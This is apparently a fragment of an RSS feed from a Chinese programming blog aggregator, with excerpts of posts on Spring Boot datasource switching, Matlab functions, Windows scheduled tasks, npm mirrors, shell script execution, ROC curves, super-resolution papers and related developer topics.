      <description>ApiBoot是一款基于SpringBoot1.x，2.x的接口服务集成基础框架， 内部提供了框架的封装集成、使用扩展、自动化完成配置，让接口开发者可以选着性完成开箱即用， 不再为搭建接口框架而犯愁，从而极大的提高开发效率。&#xA;ApiBoot DataSource Switch 顾名思义，DataSource Switch是用于数据源选择切换的框架，这是一款基于Spring AOP切面指定注解实现的，通过简单的数据源注解配置就可以完成访问时的自动切换，DataSource Switch切换过程中是线程安全的。&#xA;添加依赖 使用DataSource Switch很简单，在pom.xml配置文件内添加如下依赖：&#xA;&amp;lt;!--ApiBoot DataSource Switch--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.minbox.framework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;api-boot-starter-datasource-switch&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 复制代码 ApiBoot所提供的依赖都不需要添加版本号，具体查看ApiBoot版本依赖&#xA;集成数据源实现 目前ApiBoot DataSource Switch集成了Druid、HikariCP两种数据源实现依赖，在使用方面也有一定的差异，因为每一个数据源的内置参数不一致。&#xA;Druid：参数配置前缀为api.boot.datasource.druidHikariCP：参数配置前缀为api.boot.datasource.hikari 具体使用请查看下面功能配置介绍。&#xA;配置参数 参数名参数默认值是否必填参数描述api.boot.datasource.primarymaster否主数据源名称api.boot.datasource.druid.{poolName}.url无是数据库连接字符串api.boot.datasource.druid.{poolName}.username无是用户名api.boot.datasource.druid.{poolName}.password无是密码api.boot.datasource.druid.{poolName}.driver-class-namecom.mysql.cj.jdbc.Driver否驱动类型api.boot.datasource.druid.{poolName}.filtersstat,wall,slf4j否Druid过滤api.boot.datasource.druid.{poolName}.max-active20否最大连接数api.boot.datasource.druid.{poolName}.initial-size1否初始化连接数api.boot.datasource.druid.{poolName}.max-wait60000否最大等待市场，单位：毫秒api.boot.datasource.druid.{poolName}.validation-queryselect 1 from dual否检查sqlapi.boot.datasource.druid.{poolName}.test-while-idletrue否建议配置为true，不影响性能，并且保证安全性。申请连接的时候检测，如果空闲时间大于timeBetweenEvictionRunsMillis，执行validationQuery检测连接是否有效。api.boot.datasource.druid.{poolName}.test-on-borrowfalse否申请连接时执行validationQuery检测连接是否有效，做了这个配置会降低性能。api.boot.datasource.druid.{poolName}.test-on-returnfalse否归还连接时执行validationQuery检测连接是否有效，做了这个配置会降低性能。api.boot.datasource.hikari.{poolName}.url无是数据库连接字符串api.boot.datasource.hikari.{poolName}.username无是用户名api.boot.datasource.hikari.{poolName}.password无是密码api.boot.datasource.hikari.{poolName}.driver-class-namecom.mysql.cj.jdbc.Driver否数据库驱动类全限定名api.boot.datasource.hikari.{poolName}.property无否HikariCP属性配置 HikariCP数据源是SpringBoot2.x自带的，配置参数请访问HikariCP。&#xA;单主配置 ApiBoot DataSource Switch支持单主数据源的配置，application.yml配置文件如下所示：&#xA;api: boot: datasource: # 配置使用hikari数据源 hikari: # master datasource config master: url: jdbc:mysql://localhost:3306/test?characterEncoding=utf8&amp;amp;serverTimezone=Asia/Shanghai username: root password: 123456 复制代码 修改主数据源名称 master为默认的主数据源的poolName，这里可以进行修改为其他值，不过需要对应修改primary参数，如下所示：&#xA;api: boot: datasource: # 主数据源，默认值为master primary: main # 配置使用hikari数据源 hikari: # main datasource config main: url: jdbc:mysql://localhost:3306/test?</description>
    </item>
    <item>
      <title>Matlab程序设计（六）----创建函数（function）</title>
      <link>https://bchobby.github.io/posts/d863d04a9f18df3e1ea44168b6cc3ce4/</link>
      <pubDate>Wed, 03 Apr 2019 17:19:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d863d04a9f18df3e1ea44168b6cc3ce4/</guid>
      <description>本部分Matlab中的函数创建非常重要，主要分为三个小部分:&#xA;（本部分主要参考了Matlab文件的讲述：https://ww2.mathworks.cn/help/matlab/function-basics.html）。&#xA;一、函数基本知识 function语法：function [y1,...,yN] = myfun(x1,...,xM)，其中[y1,...,yN]为输出量，myfun为函数名，(x1,...,xM)为函数输入量。&#xA;有效的函数名称以字母字符开头，并且可以包含字母、数字或下划线。&#xA;三个小注意事项：&#xA;注意事项一：可以将函数保存在以下位置：&#xA;1、只包含函数定义的函数文件中。文件的名称应与文件中其函数的名称一致。&#xA;2、包含命令和函数定义的脚本文件中。函数必须位于该文件的末尾。脚本文件不能与文件中的函数具有相同的名称。R2016b 或更高版本的脚本中支持函数。&#xA;注意事项二：文件可以包含多个局部函数或嵌套函数。为提高可读性，可使用 end 关键字来表示文件中每个函数的末尾。以下情况下需要 end 关键字：&#xA;文件中有任意函数包含嵌套函数。&#xA;该函数是脚本文件内的局部函数。&#xA;注意事项三：&#xA;需要在代码文件中创建函数&#xA;下面是示例部分：&#xA;（1）创建仅包含一个输出的函数&#xA;在命令行中调用函数average&#xA;（2）脚本文件中创建函数&#xA;（3）包含多个输出的函数&#xA;（4）函数文件中的多个函数&#xA;注意事项：&#xA;局部函数仅可供同一文件中的其他函数使用。&#xA;函数只能在文件中创建，不能在命令行中创建。&#xA;有效的函数名称以字母字符开头，并且可以包含字母、数字或下划线。&#xA;两种创建方式：在脚本中仅有函数命令，需要在命令行调用函数；在脚本中既有函数命令还有函数的调用命令，那么直接保存完脚本文件后，点击运行或者在命令行中输入脚本文件名称，然后点击enter。&#xA;二、在编译器中运行函数 在名称为 myfunction.m 的程序文件中创建函数。&#xA;function y = myfunction(x) y = x.^2 + x; 将键入要运行的代码替换为允许运行函数的表达式。&#xA;y = myfunction(1:10) 也可以在同一行输入多条命令，例如&#xA;x = 1:10; y = myfunction(x) 对于更复杂的多行命令，可创建单独的脚本文件，然后运行脚本。&#xA;三、函数类型 （1）文件中的局部函数和嵌套函数&#xA;程序文件可以包含多个函数。局部和嵌套函数可用于将程序分为更小的任务，使读取和维护代码变得更容易。&#xA;在仅包含函数定义的函数文件中，局部函数可以任意顺序出现在文件中主函数的后面。在包含命令和函数定义的脚本文件中，局部函数必须位于文件末尾。&#xA;例如，创建一个名为 myfunction.m 的函数文件，其中包含主函数 myfunction 以及两个局部函数 squareMe 和 doubleMe：</description>
    </item>
    <item>
      <title>Windows使用SCHTASKS 命令执行定时任务</title>
      <link>https://bchobby.github.io/posts/2c794b4020256f0f4b8e4edd7aa969ef/</link>
      <pubDate>Wed, 03 Apr 2019 17:00:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c794b4020256f0f4b8e4edd7aa969ef/</guid>
      <description>文章目录 一、描述二、常用参数三、参数详解3.1 新增 /Create3.1.1 描述3.1.2 使用帮助3.1.3 常用参数3.1.4 实例 3.2 查找 /Query3.2.1 描述3.2.2 使用帮助3.2.3 常用参数3.2.4实例 3.3 删除 /Delete3.3.1描述3.3.2使用帮助3.3.3常用参数3.3.4实例 一、描述 SCHTASKS：允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务&#xA;二、常用参数 /Create 创建新计划任务。 /Delete 删除计划任务。 /Query 显示所有计划任务。 /Change 更改计划任务属性。 /Run 按需运行计划任务。 /End 中止当前正在运行的计划任务。 /ShowSid 显示与计划的任务名称相应的安全标识符。 /? 显示此帮助消息。 三、参数详解 3.1 新增 /Create 3.1.1 描述 允许管理员在本地或远程系统上创建计划任务 3.1.2 使用帮助 SCHTASKS /Create /? 3.1.3 常用参数 /SC schedule 指定计划频率：MINUTE、 HOURLY、DAILY、WEEKLY、MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT. /MO MINUTE: 1 到 1439 分钟。 HOURLY: 1 - 23 小时。 DAILY: 1 到 365 天。 WEEKLY: 1 到 52 周。 MONTHLY: 1 到 12，或 FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY。 /ST starttime 指定运行任务的开始时间：时间格式为 HH:mm (24 小时时间)，例如 14:30 表示 2:30 PM。如果未指定 /ST，则默认值为当前时间。 /ET endtime 指定运行任务的结束时间：时间格式为 HH:mm (24 小时时间)，例如 14:50 表示 2:50 PM。 /TN taskname 指定唯一识别这个计划任务的名称。 /TR taskrun 指定在这个计划时间运行的程序的路径和文件名。例如: C:\windows\system32\calc.</description>
    </item>
    <item>
      <title>node安装node-sass失败，配置淘宝源</title>
      <link>https://bchobby.github.io/posts/aa3b5e7f40458902918a19b874985ab2/</link>
      <pubDate>Wed, 03 Apr 2019 16:41:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa3b5e7f40458902918a19b874985ab2/</guid>
      <description>安装 node-sass 的时候总是会各种不成功，大部分安装不成功的原因都源自这里，因为 GitHub Releases 里的文件都托管在 s3.amazonaws.com上面，而这个网址在国内总是网络不稳定，所以我们需要通过第三方服务器下载这个文件。&#xA;方法一：使用淘宝源&#xA;npm config set sass_binary_site=https://npm.taobao.org/mirrors/node-sass/&#xA;npm config set phantomjs_cdnurl=https://npm.taobao.org/mirrors/phantomjs/&#xA;npm config set electron_mirror=https://npm.taobao.org/mirrors/electron/&#xA;npm config set registry=https://registry.npm.taobao.org&#xA;这样使用 npm install 安装 node-sass、electron 和 phantomjs 时都能自动从淘宝源上下载。&#xA;方法二：安装cnpm &amp;gt;&amp;gt;&amp;gt; 也是淘宝源的做法&#xA;npm install -g cnpm&#xA;cnpm install 这样也可以成功安装node-sass&#xA;方法三：使用VPN&#xA;npm config set proxy (http://127.0.0.1:1080)此处是VPN的代理地址&#xA;npm i node-sass&#xA;# 下载完成后删除 http 代理&#xA;npm config delete proxy</description>
    </item>
    <item>
      <title>linux下带时间ping</title>
      <link>https://bchobby.github.io/posts/1069448e41b3243077b181e96b3f85a5/</link>
      <pubDate>Wed, 03 Apr 2019 13:09:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1069448e41b3243077b181e96b3f85a5/</guid>
      <description>环境linux&#xA;近日由于无法判断一个网络问题故此要长ping一个地址，但有一个问题出现，当出现网络异常的时候即使ping的时候发现了超时却无法记录具体是什么时间点发生的异常，也就是说无法记录ping的时间点。&#xA;根据这个问题我详细查询了ping命令的参数，可以出没有任何参数可以使ping命令在执行的时候带有时间记录，但查询了各类资料和函数后发现可以用组合命令来实现为的需求。&#xA;引用此博客内容https://blog.csdn.net/lxypeter521/article/details/80942888&#xA;可以对ping命令和其他函数进行组合从而实现带时间的ping。&#xA;呈现如下结果：&#xA;ping 192.168.0.1 | awk &#39;{ print $0&#34;\t&#34; strftime(&#34;%H:%M:%S&#34;,systime()) }&#39;&#xA;PING 192.168.0.1 (10.37.190.10) 56(84) bytes of data. 16:24:25&#xA;64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=0.693 ms 16:24:25&#xA;把信息输入到文本&#xA;ping 192.168.0.1 | awk &#39;{ print $0&#34;\t&#34; strftime(&#34;%H:%M:%S&#34;,systime()) }&#39; &amp;gt; ping.log&#xA;把任务放到后台运行&#xA;ping 192.168.0.1 | awk &#39;{ print $0&#34;\t&#34; strftime(&#34;%H:%M:%S&#34;,systime()) }&#39; &amp;gt; ping.log &amp;amp;&#xA;然后处于学习的目的查询了strftime函数的用法，发现这个函数还有好多参数可用。&#xA;转换控制符见下表&#xA;转换控制符说明 %a&#xA;星期几的简写形式&#xA;%A&#xA;星期几的全称&#xA;%b&#xA;月份的简写形式&#xA;%B&#xA;月份的全称&#xA;%c</description>
    </item>
    <item>
      <title>人脸识别学习笔记(一):关于ROC曲线</title>
      <link>https://bchobby.github.io/posts/30257d0029ec1d0f1de00f98cb234643/</link>
      <pubDate>Tue, 02 Apr 2019 14:07:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30257d0029ec1d0f1de00f98cb234643/</guid>
      <description>一 、roc曲线 roc曲线：接收者操作特征(receiveroperating characteristic),roc曲线上每个点反映着对同一信号刺激的感受性。 横轴：负正类率(false postive rate FPR)特异度，划分实例中所有负例占所有负例的比例；(1-Specificity)纵轴：真正类率(true postive rate TPR)灵敏度，Sensitivity(正类覆盖率) 2.针对一个二分类问题，将实例分成正类(postive)或者负类(negative)。但是实际中分类时，会出现四种情况，命名时都以其预测的类为主要主题，再以实际分类定义其真假。&#xA;若一个实例是正类并且被预测为正类，即为真正类(True Postive TP)TP:正确的肯定数目若一个实例是正类，但是被预测成为负类，即为假负类(False Negative FN)FN:漏报，没有找到正确匹配的数目若一个实例是负类，但是被预测成为正类，即为假正类(False Postive FP)FP:误报，没有的匹配不正确若一个实例是负类，但是被预测成为负类，即为真负类(True Negative TN)TN:正确拒绝的非匹配 列联表如下，1代表正类，0代表负类：&#xA;预测合计10实际1True Postive TPFalse Negative FNactual positive （TP+FN）0False Postive FPTrue Negative TN actual negative (FP+TN)&#xA;合计predicted positive（TP+FP）predict negative（FN+TN） 由上表可得出横，纵轴的计算公式：&#xA;(1)真正类率(True Postive Rate)TPR: TP/(TP+FN),代表分类器预测的正类中实际正实例占所有正实例的比例。Sensitivity&#xA;(2)负正类率(False Postive Rate)FPR: FP/(FP+TN)，代表分类器预测的正类中实际负实例占所有负实例的比例。1-Specificity&#xA;假设采用逻辑回归分类器，其给出针对每个实例为正类的概率，那么通过设定一个阈值如0.6，概率大于等于0.6的为正类，小于0.6的为负类。对应的就可以算出一组(FPR,TPR),在平面中得到对应坐标点。随着阈值的逐渐减小，越来越多的实例被划分为正类，但是这些正类中同样也掺杂着真正的负实例，即TPR和FPR会同时增大。阈值最大时，对应坐标点为(0,0),阈值最小时，对应坐标点(1,1)。&#xA;如下面这幅图，(a)图中实线为ROC曲线，线上每个点对应一个阈值。&#xA;二 如何画roc曲线&#xA;假设已经得出一系列样本被划分为正类的概率，然后按照大小排序，下图是一个示例，图中共有20个测试样本，“Class”一栏表示每个测试样本真正的标签（p表示正样本，n表示负样本），“Score”表示每个测试样本属于正样本的概率。&#xA;接下来，我们从高到低，依次将“Score”值作为阈值threshold，当测试样本属于正样本的概率大于或等于这个threshold时，我们认为它为正样本，否则为负样本。举例来说，对于图中的第4个样本，其“Score”值为0.6，那么样本1，2，3，4都被认为是正样本，因为它们的“Score”值都大于等于0.6，而其他样本则都认为是负样本。&#xA;每次选取一个不同的threshold，我们就可以得到一组FPR和TPR，即ROC曲线上的一点。这样一来，我们一共得到了20组FPR和TPR的值，将它们画在ROC曲线的结果如下图：&#xA;AUC(Area under Curve)：Roc曲线下的面积，介于0.1和1之间。Auc作为数值可以直观的评价分类器的好坏，值越大越好。&#xA;首先AUC值是一个概率值，当你随机挑选一个正样本以及负样本，当前的分类算法根据计算得到的Score值将这个正样本排在负样本前面的概率就是AUC值，AUC值越大，当前分类算法越有可能将正样本排在负样本前面，从而能够更好地分类。&#xA;在此推荐scikit-learn中关于计算AUC的代码。&#xA;三、 为什么使用Roc和Auc评价分类器 既然已经这么多标准，为什么还要使用ROC和AUC呢？因为ROC曲线有个很好的特性：当测试集中的正负样本的分布变换的时候，ROC曲线能够保持不变。在实际的数据集中经常会出现样本类不平衡，即正负样本比例差距较大，而且测试数据中的正负样本也可能随着时间变化。下图是ROC曲线和Presision-Recall曲线的对比：&#xA;在上图中，(a)和(c)为Roc曲线，(b)和(d)为Precision-Recall曲线。&#xA;(a)和(b)展示的是分类其在原始测试集(正负样本分布平衡)的结果，(c)(d)是将测试集中负样本的数量增加到原来的10倍后，分类器的结果，可以明显的看出，ROC曲线基本保持原貌，而Precision-Recall曲线变化较大。&#xA;参考文章:&#xA;[1] 机器学习之分类器性能指标之ROC曲线、AUC值</description>
    </item>
    <item>
      <title>使用MiKTeX写论文</title>
      <link>https://bchobby.github.io/posts/a401433ac2037d3ba20df7f3f83992a9/</link>
      <pubDate>Tue, 02 Apr 2019 09:51:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a401433ac2037d3ba20df7f3f83992a9/</guid>
      <description> 1.到官网下载：https://miktex.org/&#xA;接着就傻瓜式安装即可（安装好后，它默认配置了环境变量）&#xA;随便一个目录创建hello.tex文件，记事本打开，编辑保存：&#xA;\documentclass{article} \begin{document} hello \Latex \end{document} cmd进入目录：&#xA;编译tex，并输出成pdf格式&#xA;latex hello.tex dvipdfmx hello.dvi 创建批处理文件 ： hello.bat&#xA;latex hello.tex dvipdfmx hello.dvi del *.aux *.dvi *.log 今天先到这里。 </description>
    </item>
    <item>
      <title>Linux中执行shell脚本的5种方法总结</title>
      <link>https://bchobby.github.io/posts/0dbaa97f6e4dc0ecb0ffe542a1f6d6ef/</link>
      <pubDate>Mon, 01 Apr 2019 15:17:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0dbaa97f6e4dc0ecb0ffe542a1f6d6ef/</guid>
      <description>Linux中执行shell脚本的4种方法总结,即在Linux中运行shell脚本的4种方法:&#xA;方法一：切换到shell脚本所在的目录（此时，称为工作目录）执行shell脚本：&#xA;复制代码 代码如下:&#xA;cd /data/shell ./hello.sh ./的意思是说在当前的工作目录下执行hello.sh。如果不加上./，bash可能会响应找到不到hello.sh的错误信息。因为目前的工作目录 （/data/shell）可能不在执行程序默认的搜索路径之列,也就是说，不在环境变量PASH的内容之中。查看PATH的内容可用 echo $PASH 命令。现在的/data/shell就不在环境变量PASH中的，所以必须加上./才可执行。&#xA;方法二：以绝对路径的方式去执行bash shell脚本：&#xA;复制代码 代码如下:&#xA;/data/shell/hello.sh 方法三：直接使用bash 或sh 来执行bash shell脚本：&#xA;复制代码 代码如下:&#xA;cd /data/shell bash hello.sh 或&#xA;复制代码 代码如下:&#xA;cd /data/shell sh hello.sh 注意，若是以方法三的方式来执行，那么，可以不必事先设定shell的执行权限，甚至都不用写shell文件中的第一行（指定bash路径）。因为方法三 是将hello.sh作为参数传给sh(bash)命令来执行的。这时不是hello.sh自己来执行，而是被人家调用执行，所以不要执行权限。那么不用 指定bash路径自然也好理解了啊，呵呵……。&#xA;方法四：在当前的shell环境中执行bash shell脚本：&#xA;复制代码 代码如下:&#xA;cd /data/shell . hello.sh 或&#xA;复制代码 代码如下:&#xA;cd /data/shell source hello.sh 前三种方法执行shell脚本时都是在当前shell（称为父shell）开启一个子shell环境，此shell脚本就在这个子shell环境中执行。shell脚本执行完后子shell环境随即关闭，然后又回到父shell中。而方法四则是在当前shell中执行的。&#xA;方法五：在shell中启动另外的shell&#xA;在运行shell脚本时候，有三种方式来调用外部的脚本，exec（exec script.sh）、source（source script.sh）、fork（./script.sh） 1、exec（exec /home/script.sh）： 使用exec来调用脚本，被执行的脚本会继承当前shell的环境变量。但事实上exec产生了新的进程，他会把主shell的进程资源占用并替换脚本内容，继承了原主shell的PID号，即原主shell剩下的内容不会执行。&#xA;2、source（source /home/script.sh）&#xA;使用source或者“.”来调用外部脚本，不会产生新的进程，继承当前shell环境变量，而且被调用的脚本运行结束后，它拥有的环境变量和声明变量会被当前shell保留，类似将调用脚本的内容复制过来直接执行。执行完毕后原主shell继续运行。&#xA;3、fork（/home/script.sh）&#xA;直接运行脚本，会以当前shell为父进程，产生新的进程，并且继承主脚本的环境变量和声明变量。执行完毕后，主脚本不会保留其环境变量和声明变量。&#xA;总结：这样来看fork最灵活，source次之，exec最诡异。&#xA;查看哪个用户用的什么shell登录：&#xA;1.echo $SHELL #查看当前登录的用户所用的shell</description>
    </item>
    <item>
      <title>Mac下安装jdk</title>
      <link>https://bchobby.github.io/posts/d4481b492b3fd9a368f9df0ee7889366/</link>
      <pubDate>Sun, 31 Mar 2019 19:13:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4481b492b3fd9a368f9df0ee7889366/</guid>
      <description> 1.下载。&#xA;2.双击安装。&#xA;3.默认安装完成，无需配置环境变量。&#xA;在终端查看Java -version </description>
    </item>
    <item>
      <title>SKU的概念和理解</title>
      <link>https://bchobby.github.io/posts/887aa1f6fd11ef5518edcc5750ecf093/</link>
      <pubDate>Sun, 31 Mar 2019 18:48:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/887aa1f6fd11ef5518edcc5750ecf093/</guid>
      <description>https://wenku.baidu.com/view/ef3c4d4da8956bec0975e3d0.html&#xA;一、概念 在设计商品SKU之前，首先让我们熟悉一下SKU和相关的一些概念。&#xA;二、什么是SKU SKU=Stock Keeping Unit(库存量单位)&#xA;同一型号的商品，或者说是同一个产品项目（商品条形码是针对企业的产品&#xA;项目来进行定义的），因为产品与产品之间有某些属性不同，用以区别开这些&#xA;不同商品的属性即商品变异属性，又称作SKU属性，因为它决定了SKU&#xA;的绝对数量。&#xA;参考说明&#xA;百度上有一篇文章也有阐述，可以做关联阅读，我就不重复贴上了。&#xA;https://wenku.baidu.com/view/9e8de10e6c85ec3a87c2c5c5.html&#xA;三、什么是SKU属性和选项 比如某件衣服有多种颜色、多种尺码，这些属性会直接关联价格和库存的，&#xA;系统会根据该商品关联的SKU属性的某个组合生成SKU。 比如某个款式的衬衫，有XL/L/XXL三种大小，有红黄蓝三种颜色。&#xA;对应这里例子，尺码和颜色都是是SKU属性。&#xA;对应尺码的XL/L/XXL等，都是SKU属性选项。&#xA;【注】上述的属性不一定在任何时候都是SKU属性，看实际的商品情况和设置。&#xA;比如对于尺码，某种商品是均码的。那么就不需要创建尺码这个SKU属性了，&#xA;而是设置为普通属性，仅作为显示用。&#xA;四、什么是商品SKU 商品SKU实际上就是SKU，为了避免误解和SKU属性混淆，我用商品SKU来命名，&#xA;表示从属于商品的、实际销售和存储的子实体。&#xA;一个商品SKU，表示该商品关联的若干SKU属性的的属性值的某个组合所形成的&#xA;子实体。&#xA;如对应上面的例子，其中的一种组合 XL + 红色 就会形成一个商品SKU。然后，&#xA;我们可以在该实体上管理价格、库存、专门的图片等信息。&#xA;转载于:https://www.cnblogs.com/BrokenHeart/p/10632523.html</description>
    </item>
    <item>
      <title>小程序 canvas 设置 字体 字号加粗</title>
      <link>https://bchobby.github.io/posts/0072c823debac5925db311552578c401/</link>
      <pubDate>Sun, 31 Mar 2019 10:02:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0072c823debac5925db311552578c401/</guid>
      <description> 之前的版本使用&#xA;现在直接使用CanvasContext.font即可&#xA;例如&#xA;this.ctx2.font = &#39;normal bold 40px sans-serif&#39;; </description>
    </item>
    <item>
      <title>EDSR阅读笔记</title>
      <link>https://bchobby.github.io/posts/bce580c791a19f29bcb24fc9e73c6ee3/</link>
      <pubDate>Sat, 30 Mar 2019 16:33:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bce580c791a19f29bcb24fc9e73c6ee3/</guid>
      <description> 两篇论文都是一两周前阅读的，作个笔记供以后参考。&#xA;EDSR&#xA;EDSR是一个加强的用于SR的深度残差网络，主要是在SRResnet的基础上进行改造的。&#xA;1.Introduction&#xA;首先介绍了deepnet的局限性。&#xA;模型的重构性能对较小的体系结构变化很敏感，相同模型基于不同的初始化和训练技巧可以得到不同等级的性能表现。大多数现行的SR算法将不同的scale视为独立的问题，并没有利用SR间不同scale的关联，所以每一种scale都需要单独训练。（我看的好多文章明明都支持多种缩放因子啊。感觉都是硬找创新点） VDSR模型是可以同时解决不同scale问题的，这说明尺度特定的模型的训练是有冗余的，但是VDSR的LR是需要通过bicubic成HR尺寸的，没有直接在LR空间进行计算，损失了LR空间的图像细节并增大了计算复杂度。&#xA;为了解决这个问题呢，作者主要采用了以下两点：&#xA;移除了不必要的模型，主要就是移除了BN设计了带有一个单一主分支的基准（多尺度 —— multi-scale）模块 ，含有 B = 16 的残差模块，所以大部分参数都可以在不同尺度间进行共享， 2.Related work&#xA;提出MSE或者L2 loss可能并不能保证在PSNR和SSIM上有更好的性能，所以这里采用了L1 Loss函数。&#xA;3.Proposed Methods&#xA;3.1 EDSR&#xA;提出了一个增强版的结构简单的残差网络模型&#xA;为啥去掉BN呢？https://blog.csdn.net/prinstinadl/article/details/80835088&#xA;去掉BN后，相同的计算资源下，EDSR就可以堆叠更多的网络层或者使每层提取更多的特征，从而得到更好的性能表现。但是增加特征图的数量将使训练过程不稳定，作者提出了一个residual scaling来解决该问题。在每个residual block的最后一个卷积层后添加一个constant scaling layer，可以帮助稳定训练（尤其是在应用很多的filter时）&#xA;当训练缩放因子为×3，×4的EDSR时，作者用预训练过的×2的网络来初始化模型参数。这个策略加速了训练并且提升了最后的性能表现。对于×4，使用预训练×2的模型训练过程中会收敛很快。&#xA;3.2 MDSR&#xA;在MDSR网络头部设置了一个预处理模块，用来减少输入图像不同尺寸的差异，每个预处理模块包含两个卷积核为5×5的残差块。在MDSR的末尾，不同的scale-upsampling模型平行设置来处理各种尺度的SR预测。&#xA;MDSR withB = 80 and F = 64.&#xA;4.训练细节&#xA;训练使用48×48的RGB图像输入，训练完×2的模型后，将其用作预训练网络来训练其他缩放因子，采用ADAM优化方法。&#xA;EDSR的数据增强思路是将输入的LR图像通过翻转及旋转的几何变换来生成7个LR图像，最后将这个8个LR图像生成的SR图像通过逆几何变换获得原始图像。最后，将转换后的输出加权平均来得到自相似结果。&#xA;5.Conclusion&#xA;在Residual block中删除了BN，卷积完成后也不Relu。并控制了残差规模来降低训练复杂度。MDSR具有尺度相关的模块和共享的主网络，能够在统一的框架内有效地处理各种尺度的超分辨率问题 </description>
    </item>
    <item>
      <title>负对数似然(negative log-likelihood)</title>
      <link>https://bchobby.github.io/posts/27fd396110b06ae2098095b44f3b235f/</link>
      <pubDate>Sat, 30 Mar 2019 16:32:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27fd396110b06ae2098095b44f3b235f/</guid>
      <description>negative log likelihood 文章目录 negative log likelihood似然函数(likelihood function)OverviewDefinition离散型概率分布(Discrete probability distributions)连续型概率分布(Continuous probability distributions) 最大似然估计(Maximum Likelihood Estimation,MLE)对数似然(log likelihood)负对数似然(negative log-likelihood)Reference 似然函数(likelihood function) Overview 在机器学习中，似然函数是一种关于模型中参数的函数。“似然性(likelihood)”和&#34;概率(probability)&#34;词意相似，但在统计学中它们有着完全不同的含义：概率用于在已知参数的情况下，预测接下来的观测结果；似然性用于根据一些观测结果，估计给定模型的参数可能值。&#xA;Probability is used to describe the plausibility of some data, given a value for the parameter. Likelihood is used to describe the plausibility of a value for the parameter, given some data.&#xA;​ —from wikipedia [ 3 ] ^[3] [3]&#xA;其数学形式表示为：&#xA;假设 X X X是观测结果序列，它的概率分布 f x f_{x} fx​依赖于参数 θ \theta θ，则似然函数表示为</description>
    </item>
    <item>
      <title>如何在web项目中访问HTML页面</title>
      <link>https://bchobby.github.io/posts/13f95e266b2d314afc501c7e23d69377/</link>
      <pubDate>Fri, 29 Mar 2019 22:26:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/13f95e266b2d314afc501c7e23d69377/</guid>
      <description>为什么同样在web工程webContent目录下建了一个html页面，http://localhost:8080/springmvcDemo/index.html访问却报404?&#xA;为什么在web工程webContent目录下建了一个jsp页面，http://localhost:8080/springmvcDemo/index.jsp可以直接访问?&#xA;【分析】&#xA;该web工程使用spring+spring mvc+mybatis框架，在工程web.xml文件中配置了spring mvc的前置控制器DispatcherServlet，如下图所示：&#xA;DispatcherServlet会对匹配的请求进行拦截，当拦截的url-pattern设置的是 / 时，就不会匹配到*.jsp的URL，但会匹配*.html和形如/user的URL，所以，当拦截到*.html后，就会进入spring mvc的DispatcherServlet类，然后去寻找controller，接着找不到对应的controller，资源找不到、所以报404。&#xA;【解决方法】&#xA;方法一：将上面方框中的代码注释掉；&#xA;方法二：web.xml添加如下代码（激活defaultServlet来处理静态文件）：&#xA;&amp;lt;servlet-mapping&amp;gt; &amp;lt;servlet-name&amp;gt;default&amp;lt;/servlet-name&amp;gt; &amp;lt;url-pattern&amp;gt;*.html&amp;lt;/url-pattern&amp;gt; &amp;lt;/servlet-mapping&amp;gt;&#xA;注意：考虑性能问题，最好将上面代码写在spring mvc的DispatcherServlet的前面，否则程序需要先执行DispatcherServlet拦截*.html请求，然后再执行defaultServlet时，又放开*.html请求，多走了一步。&#xA;&amp;lt;spring-mvc.xml&amp;gt;配置文件中配置视图解析器&#xA;在方法二中，我们在后缀中配“.html”时。在访问http://localhost:8080/spingmvcDemo/index时会默认访问index.html&#xA;在方法二中，我们在后缀中配“.jsp”时。在访问http://localhost:8080/spingmvcDemo/index时会默认访问index.jsp</description>
    </item>
    <item>
      <title>PotPlayer播放DST音频的mkv电影解码错误</title>
      <link>https://bchobby.github.io/posts/7f7b000f43b259d78140c3b35e2692d3/</link>
      <pubDate>Fri, 29 Mar 2019 13:28:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f7b000f43b259d78140c3b35e2692d3/</guid>
      <description>问题描述： Built-in MKV Source::Japanese, Japanese DTS 5.1, 1.5 mbit (Audio 1) &amp;lt;Default&amp;gt;&#xA;Built-in AVI&amp;lt;-&amp;gt;AC3/DTS::XForm Out&#xA;==========================&#xA;当前音频无法播放。&#xA;DirectX 驱动程序未正确安装或音像设备被禁用。&#xA;==========================&#xA;原因分析： 系统无法解码DST音频格式，因为DST格式需要解码才有多声道音频信号出来。&#xA;解决办法： 安装终极解码器，目前最新版链接：https://pan.baidu.com/s/1LWg7xlhxwNlrtXX9luBlKw 提取码：7sdh 安装使用默认安装即可，存储路径可以自己选择。解码中心的设置根据自己需求随时都可以设置。&#xA;终极解码器简介： 终极解码是一款全能型、高度集成的解码工具，自带三种流行播放器（mpc/kmp/bsp）并对wmp提供良好支持。终极解码可在简、繁、英3种语言平台下实现各种流行视频音频的完美回放及编码功能。终极解码若与realplayer同时使用，请在安装时不要选择 real解码器，quicktime播放器设置类似，让你轻松播放各种非主流的视频格式。</description>
    </item>
    <item>
      <title>在CSDN复制代码的技巧</title>
      <link>https://bchobby.github.io/posts/2e51a97cd8df3a2aa4421ad84910d316/</link>
      <pubDate>Fri, 29 Mar 2019 00:06:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e51a97cd8df3a2aa4421ad84910d316/</guid>
